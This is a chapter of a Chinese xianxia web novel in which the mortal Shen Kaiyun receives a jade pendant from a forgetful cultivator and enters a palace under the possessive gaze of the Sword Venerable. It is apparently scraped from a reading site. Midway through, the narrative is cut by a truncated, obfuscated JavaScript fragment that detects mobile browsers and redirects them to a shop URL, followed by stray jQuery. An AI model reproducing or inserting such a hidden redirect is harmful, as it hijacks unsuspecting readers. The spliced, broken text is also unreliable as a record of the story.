默认冷灰
24号文字
方正启体

3. 从未有过外人

作者:江水山花本书字数:K更新时间:
    “做他的徒弟可不是什么好事,上一个已经死了,死得什么都不剩。”


    青年垂眸,淬了毒的戾气在银灰色冰面下沉浮,“光明大道,他只会毁了自己徒弟的光明大道。”


    眼看这人又说回了她方才的言论,沈开云也顾不得心中奇怪的感觉了,她悄悄缩起肩膀,努力消减自己的存在感。


    此时她只想倒退时光,狠狠扇自己一巴掌。外面不像村里,她嘴笨说错话了,最多被大娘大爷的呸口瓜子皮,但现在,这人手里的古剑可不是假货。


    欲事不溜非智者,少女上身静止,埋于儒裙下的布鞋悄悄踮起,不动声色地向后平移了一寸。


    “你就这么等不及要去见他吗?”


    此话一落,林中的两人皆是一怔。


    沈开云紧张地就地立正,而修士神色莫名。


    他见少女避之不及的样子,埋于袖中的手微缩:“是我多言了。”


    “没事,没事。”沈开云赶忙摆手,停留在原地,“恩人前辈情有可原,情有可原。”


    话一出口她就后悔了。


    情有可原这话她一个凡人对着修士去说,好像不太对味啊,人家哪用她原谅。


    “嗯。”修士道,“你与我确实有缘。”


    吼,他们说的是一个“原”吗。


    修真界竟也有此等文盲。


    是她以貌取人了。


    沈开云暗暗内疚,眼见自己占据了智商高地,她反倒也不紧张了。


    “此物赠你。”修士递给她一枚水色玉玦,“我所修功法于记忆有碍,下次见面我若记不得你了,拿出此物,我便不会伤你。”


    “没这个玉玦也没见我被你伤啊。”


    少女小声嘀咕了一句,她抬眼,身前的修士好似僵硬了一瞬。


    有便宜不占非君子,她欣欣然接过玉玦。


    透水的耳饰冰凉,内刻一个莫字。


    不知道这个是否也是一千年前的好东西。


    沈开云捧着老古董吐出的小古董对光照了照,成色极好。


    哪怕这次问心阶什么都没得到,她还是个凡人,把这东西送去典当铺,也够她几辈子吃喝不愁了。


    娘说的没错,还是大地方机会多啊。


    沈开云将玉玦揣进兜里,弯腰谄笑道:“恩人前辈,你对我太好了。”


    修者:“不过是在惯性旧人的道义罢了。”


    “道义?随手送古玉?”沈开云好奇道,“那个人是叫恩人四处撒钱吗。”


    “自然不是,你怎会这般想。”修者嘴角抽搐了一下,他没在意沈开云的冒犯。


    或者说,莫名地,他的心底甚至想要少女再多冒犯些。


    修行者怎能作如此非礼之想。青年皱着眉头,狠狠闭了闭双眼。


    “那是什么道义啊。”肩下少女仍在跳着脚问。


    青年拗不过她,抿唇道:“她曾劝我在她死后莫要独行,多寻有缘人。”


    “那这些年你一定有了很多朋友吧。”沈开云肯定道。


    “……嗯。”青年身子僵硬了一瞬。


    年少时的好奇是数不尽的,十几岁大时的青少年也不会看人脸色,他们只会抓住老实人使劲欺负。


    沈开云歪了歪头继续问道:“都有谁啊?”


    “和我说说呗?”


    “求求你了求求你了恩人。”


    “我长这么大从没人和我讲过故事。”


    她从左边挤到右边,又从右边挤到左边,最终被一柄古雅澄净的剑鞘压住了肩膀。


    修者望来,眼尾处又落了雪,他叹气道:“沈小友,只有你一个。”


    冰凉的雪迹在温热的皮肤上化作了水,自修者淡敛的眉眼处滑落,竟给了他几分成人的温度。


    沈开云反倒有些不好意思起来了,她感动地甩出帕子,呐呐道:“恩人前辈,你也是我这几千年来的第一个修士朋友。”


    “没想倒我也有忘年交了,恩人前辈。”她用帕子轻轻擦了擦眼角的眼泪。


    修者:“……”


    他收回银剑:“不必用敬称,直唤我名。”


    沈开云动作一顿:“可是恩人你没告诉我你的名字呢。”


    “是么?”修者皱了皱眉,那架势就像沈开云在整他一样。


    “嗯呢,大抵是你当时忘了。”沈开云信誓旦旦,熟练地安慰自己的忘年交,“没事,现在告诉我也可以的。”


    “莫问。”


    沈开云:“啊?”


    修者:“莫问。”


    不是,莫问什么莫问,不是修士让她问的吗!怎么现在又又又不告诉了。


    沈开云深吸一口气。大抵忘年交都是这样的,年轻的那一方要负责负重前行吧。


    “去吧。”修者两指作剑,在空中劈开一道口子,“出了他的心景幻境,你便能见到他了。”


    “送我去见尊、尘尽生吗?”沈开云这会是真感动地有些想流泪了,“前辈你真好。”


    忘年交太仗义了,除了老忘事,不告诉她自己的名字外,真的很完美。


    “那我走了啊。”沈开云踏进空中裂缝,摆了摆手,“希望下次,你能告诉我你的名字!”


    “名字我不是……”


    剩下的话被挤碎在空间外,裂缝合上的最后一刹那,沈开云如有所感,回头望去。


    只见修者孤身立在风雪中,男人蹙眉,修长的手指揉了揉太阳穴,似乎在怀疑回忆着什么。


    估计是又忘事了吧。


    哝,年纪大了,记性就是差!


    她抬头整了整领子,踏出空间裂口。眼前仙殿金光照耀,仙鸟齐鸣,顺着青玉长廊走入,只见得十六盘龙方柱鼎立,银月色轻纱帐垂于檐下,殿内无所有,云雾弥漫,仅仅五个蒲团置于地。


    算上最后入场的沈开云,万般筛选后,此处恰好有五人。


    一男一女两孩童。


    宫殿中央的男子一身珠光宝气,他手持一把风流的象牙扇,人却算不得秀气,皮肤黝黑,正双手合一,念念有词着什么。占了右边两蒲团的二小儿容貌相同,精致的雌雄莫辨,一人作簪花书生样,一人作采药仕女样,见沈开云望来,皆是窃窃一笑。


    而最左边的那个腰缠骨珠,卷发持剑的女人,沈开云认识,是冯义!


    “最后一人竟是你。”冯义惊讶道,“我就说,那家伙的身边从不留普通女人。”


    “我自己也没想倒我能上来。”沈开云就当这人在夸她了。


    她美滋滋地望了一圈身边的人,各有特色的修士们拢聚在此,和这些人落座在一排,好像她也成了那话本里的天骄一样。


    “义儿姑娘,萧郎呢?”沈开云回头望向冯义。


    冯义:“你倒是真挂念他。”


    沈开云幽幽叹了口气:“毕竟他很想面见剑尊,他没来,真是可惜了。”


    “没什么好可惜的,尊者这次不会来的。”冯义淡淡道,“此次没能登顶,也是萧从人他心性不够。”


    沈开云惊道:“剑尊不来了?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371858|199948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    > “并非每次问心阶开启剑尊都会来的。”陌生的声音插入进来。


    沈开云扭头,右边黑黑的男人用扇子掩着鼻子,嫌弃道,“小土包子,寒山上那堆动荡的剑气你没见着?剑尊用来镇压妖尸的本命剑前些日子被人取了,阵法破碎,以力封锁恶魂根本撑不了多久。


    现在他不去寻回本命剑,难道来寻你?”


    沈开云脸红道:“我自然不是这个意思。”


    见她落寞,一旁的冯义厉声道:“寻常散修不知道这些消息本就正常,用得着你在这显摆。”


    “合宜剑冯义?”男人明显认出了人,缩了缩脖子,软声道,“我,我乐意和这土包子说话不行吗。”


    “土包子?”冯义皱眉。


    “小包子,小包子,你听错了!”黑色的男人肘了肘沈开云,“我叫晋承荣,你呢?”


    沈开云学着他悄声道:“沈开云。”


    没等他们悄悄话说完,便被眼前的异象打断了。


    “叮——”


    “叮——”


    “叮———”


    碎玉长鸣之声由弱到强,一点点有规律地响起,身旁的冯义握了下沈开云的手腕,示意她噤声。


    只见得道道金光自高台溢出,顺着殿内玉石地板扩散,精粹的灵气一波一波洗刷殿内五人。


    在场没有蠢人,纷纷闭眼调息,抓紧这片刻机缘,就连沈开云这个凡人也能感受到体内生机渐长的感觉。


    云雾朦胧中,大道清音,疑是有仙人落座。


    毫无疑问,那定就是丈夫日思夜想也要拜见的尊者。


    沈开云偷偷睁开半只眼。


    金玉台上灵气氤氲,玉色的飘带随风摆动,剑尊闭目打坐,凡人无法窥视他的样貌。


    仙家端坐,额前三点神光闪烁。云雾间,隐有几缕金色符文自上流窜,一起一伏中再度被吸入眉心轮中。


    明明只是个额间印记,却似是有呼吸般,回望着无礼的僭越者。


    沈开云呼吸一滞。


    尘尽生似有所感,脸庞稍稍向她的方向偏了偏,额间的金色印记微微展翅震开,一如盛莲的笑靥。它将沈开云看得更清楚了。


    少女吓得赶忙低头。


    她有些后悔了。或许她就应该跟在温柔贴心的丈夫身边,而非到这个地方,来拜见一位伸手就能将她堙灭的存在。


    到现在沈开云才乍然意识到,她不该来的。


    她老实地坐在草编蒲团上不敢再动作,祈祷自己能平安回家,早日见到温柔可人的丈夫,自然不知有人在望着她。


    云上仙人垂眸望下,寒山寥落。腐化了千年的雪水禁锢在他躯体中,未曾泄露出一丝腥气。


    台下的少女自以为隐晦地缩弄着肩膀,僵硬坐着。千年前她便如此,每每落于师者座下,总是如坐针毡。


    躲懒的人总会赖在他腿边不肯离开。那时夹于他们二人之间的,只有卷边的话本,堆砌的食盒,木雕的、布娟的娃偶。什么都有,却从未有过任何外人。


    剑君手腕颤抖,轻轻抬起。不只是手臂,眼睫,嘴唇,他的全身都在轻颤。


    仙人薄如蝉翼的表皮下是怦怦沸腾的晶蓝液体。


    按耐不住的血液咕嘟出几个转动的小氧气泡,兴奋地在他臂间来回翻涌,那持剑的腕骨间,正覆着一个银制的老镯。


    他的睫毛轻垂,掩住了眼中多余的情绪。


    她会一直在他的注视下,从前是,现在是,以后也是。


    没有别的可能。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)